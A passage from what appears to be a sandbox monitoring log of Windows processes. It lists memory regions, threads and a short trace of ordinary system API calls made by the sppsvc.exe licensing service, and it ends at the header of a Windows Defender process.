	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2874
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 2875
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2876
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2877
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2878
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2879
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2880
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2881
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2882
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2883
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 427
	os_tid = 0xc04


Thread:
	id = 428
	os_tid = 0xc08


Thread:
	id = 429
	os_tid = 0xc64


Thread:
	id = 430
	os_tid = 0xef4


Thread:
	id = 431
	os_tid = 0xeec


Process:
	id = "22"
	image_name = "sppsvc.exe"
	filename = "c:\\windows\\system32\\sppsvc.exe"
	page_root = "0x1c50f000"
	os_pid = "0x4f0"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\sppsvc.exe"
	cur_dir = "C:\\Windows"
	os_username = "NT AUTHORITY\\Network Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\sppsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:00074ac7" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 2884
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2885
	        start_va = 0xe1fea70000
	          end_va = 0xe1fea76fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1fea70000"
	        filename = ""

Region:
	              id = 2886
	        start_va = 0xe1fea80000
	          end_va = 0xe1fea8ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000e1fea80000"
	        filename = ""

Region:
	              id = 2887
	        start_va = 0xe1fea90000
	          end_va = 0xe1feaa3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000e1fea90000"
	        filename = ""

Region:
	              id = 2888
	        start_va = 0xe1feab0000
	          end_va = 0xe1feb2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1feab0000"
	        filename = ""

Region:
	              id = 2889
	        start_va = 0xe1feb30000
	          end_va = 0xe1febedfff
	     entry_point = 0xe1feb30000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2890
	        start_va = 0xe1febf0000
	          end_va = 0xe1fec6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1febf0000"
	        filename = ""

Region:
	              id = 2891
	        start_va = 0xe1fec70000
	          end_va = 0xe1fec76fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1fec70000"
	        filename = ""

Region:
	              id = 2892
	        start_va = 0xe1fec80000
	          end_va = 0xe1fec85fff
	     entry_point = 0xe1fec80000
	     region_type = mapped_file
	            name = "sppsvc.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\sppsvc.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\sppsvc.exe.mui")

Region:
	              id = 2893
	        start_va = 0xe1fec90000
	          end_va = 0xe1fec90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1fec90000"
	        filename = ""

Region:
	              id = 2894
	        start_va = 0xe1feca0000
	          end_va = 0xe1feca0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1feca0000"
	        filename = ""

Region:
	              id = 2895
	        start_va = 0xe1fecb0000
	          end_va = 0xe1fecbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1fecb0000"
	        filename = ""

Region:
	              id = 2896
	        start_va = 0xe1fecc0000
	          end_va = 0xe1feccffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1fecc0000"
	        filename = ""

Region:
	              id = 2897
	        start_va = 0xe1fecd0000
	          end_va = 0xe1fecdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1fecd0000"
	        filename = ""

Region:
	              id = 2898
	        start_va = 0xe1fece0000
	          end_va = 0xe1feddffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1fece0000"
	        filename = ""

Region:
	              id = 2899
	        start_va = 0xe1fede0000
	          end_va = 0xe1fee9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000e1fede0000"
	        filename = ""

Region:
	              id = 2900
	        start_va = 0xe1feea0000
	          end_va = 0xe1feeaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1feea0000"
	        filename = ""

Region:
	              id = 2901
	        start_va = 0xe1fef10000
	          end_va = 0xe1fef1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1fef10000"
	        filename = ""

Region:
	              id = 2902
	        start_va = 0xe1fef20000
	          end_va = 0xe1ff0a7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000e1fef20000"
	        filename = ""

Region:
	              id = 2903
	        start_va = 0xe1ff0b0000
	          end_va = 0xe1ff230fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000e1ff0b0000"
	        filename = ""

Region:
	              id = 2904
	        start_va = 0xe1ff240000
	          end_va = 0xe1ff2bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1ff240000"
	        filename = ""

Region:
	              id = 2905
	        start_va = 0xe1ff2c0000
	          end_va = 0xe1ff3bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1ff2c0000"
	        filename = ""

Region:
	              id = 2906
	        start_va = 0xe1ff3c0000
	          end_va = 0xe1ff43ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1ff3c0000"
	        filename = ""

Region:
	              id = 2907
	        start_va = 0xe1ff440000
	          end_va = 0xe1ff776fff
	     entry_point = 0xe1ff440000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2908
	        start_va = 0xe1ff780000
	          end_va = 0xe1ff7fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1ff780000"
	        filename = ""

Region:
	              id = 2909
	        start_va = 0xe1ff800000
	          end_va = 0xe1ff8fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1ff800000"
	        filename = ""

Region:
	              id = 2910
	        start_va = 0xe1ff900000
	          end_va = 0xe1ff97ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1ff900000"
	        filename = ""

Region:
	              id = 2911
	        start_va = 0xe1ff980000
	          end_va = 0xe1ffa7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1ff980000"
	        filename = ""

Region:
	              id = 2912
	        start_va = 0x7df5ff280000
	          end_va = 0x7ff5ff27ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff280000"
	        filename = ""

Region:
	              id = 2913
	        start_va = 0x7ff7d33be000
	          end_va = 0x7ff7d33bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7d33be000"
	        filename = ""

Region:
	              id = 2914
	        start_va = 0x7ff7d33c0000
	          end_va = 0x7ff7d34bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7d33c0000"
	        filename = ""

Region:
	              id = 2915
	        start_va = 0x7ff7d34c0000
	          end_va = 0x7ff7d34e2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7d34c0000"
	        filename = ""

Region:
	              id = 2916
	        start_va = 0x7ff7d34e4000
	          end_va = 0x7ff7d34e5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7d34e4000"
	        filename = ""

Region:
	              id = 2917
	        start_va = 0x7ff7d34e6000
	          end_va = 0x7ff7d34e7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7d34e6000"
	        filename = ""

Region:
	              id = 2918
	        start_va = 0x7ff7d34e8000
	          end_va = 0x7ff7d34e8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7d34e8000"
	        filename = ""

Region:
	              id = 2919
	        start_va = 0x7ff7d34ea000
	          end_va = 0x7ff7d34ebfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7d34ea000"
	        filename = ""

Region:
	              id = 2920
	        start_va = 0x7ff7d34ec000
	          end_va = 0x7ff7d34edfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7d34ec000"
	        filename = ""

Region:
	              id = 2921
	        start_va = 0x7ff7d34ee000
	          end_va = 0x7ff7d34effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7d34ee000"
	        filename = ""

Region:
	              id = 2922
	        start_va = 0x7ff7d3da0000
	          end_va = 0x7ff7d43cdfff
	     entry_point = 0x7ff7d3da0000
	     region_type = mapped_file
	            name = "sppsvc.exe"
	        filename = "\\Windows\\System32\\sppsvc.exe" (normalized: "c:\\windows\\system32\\sppsvc.exe")

Region:
	              id = 2923
	        start_va = 0x7ffbeabf0000
	          end_va = 0x7ffbeac05fff
	     entry_point = 0x7ffbeabf0000
	     region_type = mapped_file
	            name = "clipc.dll"
	        filename = "\\Windows\\System32\\Clipc.dll" (normalized: "c:\\windows\\system32\\clipc.dll")

Region:
	              id = 2924
	        start_va = 0x7ffbeac10000
	          end_va = 0x7ffbeac31fff
	     entry_point = 0x7ffbeac10000
	     region_type = mapped_file
	            name = "cryptxml.dll"
	        filename = "\\Windows\\System32\\cryptxml.dll" (normalized: "c:\\windows\\system32\\cryptxml.dll")

Region:
	              id = 2925
	        start_va = 0x7ffbeb940000
	          end_va = 0x7ffbebabafff
	     entry_point = 0x7ffbeb940000
	     region_type = mapped_file
	            name = "webservices.dll"
	        filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll")

Region:
	              id = 2926
	        start_va = 0x7ffbebcd0000
	          end_va = 0x7ffbebe47fff
	     entry_point = 0x7ffbebcd0000
	     region_type = mapped_file
	            name = "sppobjs.dll"
	        filename = "\\Windows\\System32\\sppobjs.dll" (normalized: "c:\\windows\\system32\\sppobjs.dll")

Region:
	              id = 2927
	        start_va = 0x7ffbec240000
	          end_va = 0x7ffbec2d9fff
	     entry_point = 0x7ffbec240000
	     region_type = mapped_file
	            name = "sppwinob.dll"
	        filename = "\\Windows\\System32\\sppwinob.dll" (normalized: "c:\\windows\\system32\\sppwinob.dll")

Region:
	              id = 2928
	        start_va = 0x7ffbfaa10000
	          end_va = 0x7ffbfaa26fff
	     entry_point = 0x7ffbfaa10000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 2929
	        start_va = 0x7ffbfbe40000
	          end_va = 0x7ffbfbe75fff
	     entry_point = 0x7ffbfbe40000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 2930
	        start_va = 0x7ffbfd340000
	          end_va = 0x7ffbfd355fff
	     entry_point = 0x7ffbfd340000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 2931
	        start_va = 0x7ffbfdc10000
	          end_va = 0x7ffbfdc19fff
	     entry_point = 0x7ffbfdc10000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 2932
	        start_va = 0x7ffbffaf0000
	          end_va = 0x7ffbffafbfff
	     entry_point = 0x7ffbffaf0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 2933
	        start_va = 0x7ffbffb00000
	          end_va = 0x7ffbffb25fff
	     entry_point = 0x7ffbffb00000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 2934
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2935
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2936
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2937
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 2938
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 2939
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 2940
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2941
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2942
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2943
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2944
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 2945
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2946
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2947
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2948
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2949
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2950
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2951
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2952
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2953
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 3413
	        start_va = 0xe1ffa80000
	          end_va = 0xe1ffb81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1ffa80000"
	        filename = ""

Region:
	              id = 3414
	        start_va = 0xe1ffb90000
	          end_va = 0xe1ffc97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000e1ffb90000"
	        filename = ""

Region:
	              id = 3556
	        start_va = 0x7ffbf2780000
	          end_va = 0x7ffbf2795fff
	     entry_point = 0x7ffbf2780000
	     region_type = mapped_file
	            name = "wwapi.dll"
	        filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll")


Thread:
	id = 432
	os_tid = 0xd00


Thread:
	id = 433
	os_tid = 0xce4


Thread:
	id = 434
	os_tid = 0x8d4


Thread:
	id = 435
	os_tid = 0x454

	[0122.440] GetModuleHandleExW (in: dwFlags=0x1, lpModuleName="ntdll.dll", phModule=0xe1ff43e030 | out: phModule=0xe1ff43e030*=0x7ffc03e70000) returned 1
	[0122.440] GetProcAddress (hModule=0x7ffc03e70000, lpProcName="NtQuerySystemInformation") returned 0x7ffc03f038a0
	[0122.440] NtQuerySystemInformation (in: SystemInformationClass=0x86, SystemInformation=0xe1ff43e0c8, Length=0x20, ResultLength=0x0 | out: SystemInformation=0xe1ff43e0c8, ResultLength=0x0) returned 0x0
	[0122.454] LocalAlloc (uFlags=0x0, uBytes=0x118) returned 0xe1fed3f3c0
	[0128.647] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\wwapi.dll", hFile=0x0, dwFlags=0x0) returned 0x7ffbf2780000
	[0134.396] GetProcAddress (hModule=0x7ffbf2780000, lpProcName="WwanOpenHandle") returned 0x7ffbf2781010
	[0134.396] GetProcAddress (hModule=0x7ffbf2780000, lpProcName="WwanCloseHandle") returned 0x7ffbf2784f40
	[0134.396] GetProcAddress (hModule=0x7ffbf2780000, lpProcName="WwanEnumerateInterfaces") returned 0x7ffbf2785bb0
	[0134.396] GetProcAddress (hModule=0x7ffbf2780000, lpProcName="WwanQueryInterface") returned 0x7ffbf2787150
	[0134.396] GetProcAddress (hModule=0x7ffbf2780000, lpProcName="WwanFreeMemory") returned 0x7ffbf2785d60
	[0134.396] WwanOpenHandle () returned 0x426
	[0134.411] GetCurrentHwProfileW (in: lpHwProfileInfo=0xe1ff43de90 | out: lpHwProfileInfo=0xe1ff43de90) returned 1
	[0134.417] memchr (_Buf=0xe1ff9ae120, _Val=0, _MaxCount=0x2b1) returned 0xe1ff9ae13a
	[0134.417] memchr (_Buf=0xe1ff9ae13b, _Val=0, _MaxCount=0x296) returned 0xe1ff9ae142
	[0134.417] memchr (_Buf=0xe1ff9ae143, _Val=0, _MaxCount=0x28e) returned 0xe1ff9ae14f
	[0134.417] memchr (_Buf=0xe1ff9ae16c, _Val=0, _MaxCount=0x265) returned 0xe1ff9ae171
	[0134.417] memchr (_Buf=0xe1ff9ae172, _Val=0, _MaxCount=0x25f) returned 0xe1ff9ae17c
	[0134.417] memchr (_Buf=0xe1ff9ae17d, _Val=0, _MaxCount=0x254) returned 0xe1ff9ae182
	[0134.417] memchr (_Buf=0xe1ff9ae183, _Val=0, _MaxCount=0x24e) returned 0xe1ff9ae18d
	[0134.417] memchr (_Buf=0xe1ff9ae18e, _Val=0, _MaxCount=0x243) returned 0xe1ff9ae1a6
	[0134.417] memchr (_Buf=0xe1ff9ae1a7, _Val=0, _MaxCount=0x22a) returned 0xe1ff9ae1bf
	[0134.417] memchr (_Buf=0xe1ff9ae1d0, _Val=0, _MaxCount=0x201) returned 0xe1ff9ae1d5
	[0134.418] memchr (_Buf=0xe1ff9ae1d6, _Val=0, _MaxCount=0x1fb) returned 0xe1ff9ae1e0
	[0134.418] memchr (_Buf=0xe1ff9ae1e1, _Val=0, _MaxCount=0x1f0) returned 0xe1ff9ae1e6
	[0134.418] memchr (_Buf=0xe1ff9ae1e7, _Val=0, _MaxCount=0x1ea) returned 0xe1ff9ae1f1
	[0134.418] memchr (_Buf=0xe1ff9ae1f2, _Val=0, _MaxCount=0x1df) returned 0xe1ff9ae20a
	[0134.418] memchr (_Buf=0xe1ff9ae20b, _Val=0, _MaxCount=0x1c6) returned 0xe1ff9ae223
	[0134.418] memchr (_Buf=0xe1ff9ae23a, _Val=0, _MaxCount=0x197) returned 0xe1ff9ae23f
	[0134.418] memchr (_Buf=0xe1ff9ae240, _Val=0, _MaxCount=0x191) returned 0xe1ff9ae258
	[0134.418] memchr (_Buf=0xe1ff9ae259, _Val=0, _MaxCount=0x178) returned 0xe1ff9ae271
	[0134.418] memchr (_Buf=0xe1ff9ae272, _Val=0, _MaxCount=0x15f) returned 0xe1ff9ae28a
	[0134.418] memchr (_Buf=0xe1ff9ae28b, _Val=0, _MaxCount=0x146) returned 0xe1ff9ae2a3
	[0134.418] memchr (_Buf=0xe1ff9ae2cf, _Val=0, _MaxCount=0x102) returned 0xe1ff9ae2d1
	[0134.418] memchr (_Buf=0xe1ff9ae2d2, _Val=0, _MaxCount=0xff) returned 0xe1ff9ae2e0
	[0134.418] memchr (_Buf=0xe1ff9ae2e1, _Val=0, _MaxCount=0xf0) returned 0xe1ff9ae30c
	[0134.419] memchr (_Buf=0xe1ff9ae325, _Val=0, _MaxCount=0xac) returned 0xe1ff9ae325
	[0134.419] memchr (_Buf=0xe1ff9ae34f, _Val=0, _MaxCount=0x82) returned 0xe1ff9ae355
	[0134.419] memchr (_Buf=0xe1ff9ae356, _Val=0, _MaxCount=0x7b) returned 0xe1ff9ae368
	[0134.419] memchr (_Buf=0xe1ff9ae369, _Val=0, _MaxCount=0x68) returned 0xe1ff9ae375
	[0134.419] memchr (_Buf=0xe1ff9ae376, _Val=0, _MaxCount=0x5b) returned 0xe1ff9ae387
	[0134.419] memchr (_Buf=0xe1ff9ae388, _Val=0, _MaxCount=0x49) returned 0xe1ff9ae39c
	[0134.420] memchr (_Buf=0xe1ff9ae3bd, _Val=0, _MaxCount=0x14) returned 0xe1ff9ae3bd
	[0134.420] memchr (_Buf=0xe1ff9ae3ca, _Val=0, _MaxCount=0x7) returned 0xe1ff9ae3ca
	[0134.420] memchr (_Buf=0xe1ff9ae3d0, _Val=0, _MaxCount=0x1) returned 0xe1ff9ae3d0
	[0134.423] memchr (_Buf=0xe1ff9ae120, _Val=0, _MaxCount=0x2b1) returned 0xe1ff9ae13a
	[0134.423] memchr (_Buf=0xe1ff9ae13b, _Val=0, _MaxCount=0x296) returned 0xe1ff9ae142
	[0134.423] memchr (_Buf=0xe1ff9ae143, _Val=0, _MaxCount=0x28e) returned 0xe1ff9ae14f
	[0134.423] memchr (_Buf=0xe1ff9ae16c, _Val=0, _MaxCount=0x265) returned 0xe1ff9ae171
	[0134.424] memchr (_Buf=0xe1ff9ae172, _Val=0, _MaxCount=0x25f) returned 0xe1ff9ae17c
	[0134.424] memchr (_Buf=0xe1ff9ae17d, _Val=0, _MaxCount=0x254) returned 0xe1ff9ae182
	[0134.424] memchr (_Buf=0xe1ff9ae183, _Val=0, _MaxCount=0x24e) returned 0xe1ff9ae18d
	[0134.424] memchr (_Buf=0xe1ff9ae18e, _Val=0, _MaxCount=0x243) returned 0xe1ff9ae1a6
	[0134.424] memchr (_Buf=0xe1ff9ae1a7, _Val=0, _MaxCount=0x22a) returned 0xe1ff9ae1bf
	[0134.424] memchr (_Buf=0xe1ff9ae1d0, _Val=0, _MaxCount=0x201) returned 0xe1ff9ae1d5
	[0134.424] memchr (_Buf=0xe1ff9ae1d6, _Val=0, _MaxCount=0x1fb) returned 0xe1ff9ae1e0
	[0134.424] memchr (_Buf=0xe1ff9ae1e1, _Val=0, _MaxCount=0x1f0) returned 0xe1ff9ae1e6
	[0134.424] memchr (_Buf=0xe1ff9ae1e7, _Val=0, _MaxCount=0x1ea) returned 0xe1ff9ae1f1
	[0134.424] memchr (_Buf=0xe1ff9ae1f2, _Val=0, _MaxCount=0x1df) returned 0xe1ff9ae20a
	[0134.424] memchr (_Buf=0xe1ff9ae20b, _Val=0, _MaxCount=0x1c6) returned 0xe1ff9ae223
	[0139.602] LocalAlloc (uFlags=0x0, uBytes=0x58) returned 0xe1ff9a8720
	[0139.608] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0xe1fed7a4c0
	[0140.341] GetTickCount () returned 0x35341

Thread:
	id = 436
	os_tid = 0x554


Thread:
	id = 437
	os_tid = 0x468


Process:
	id = "23"
	image_name = "mpcmdrun.exe"
	filename = "c:\\program files\\windows defender\\mpcmdrun.exe"
	page_root = "0x7b665000"
	os_pid = "0x368"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "11"
	os_parent_pid = "0x324"
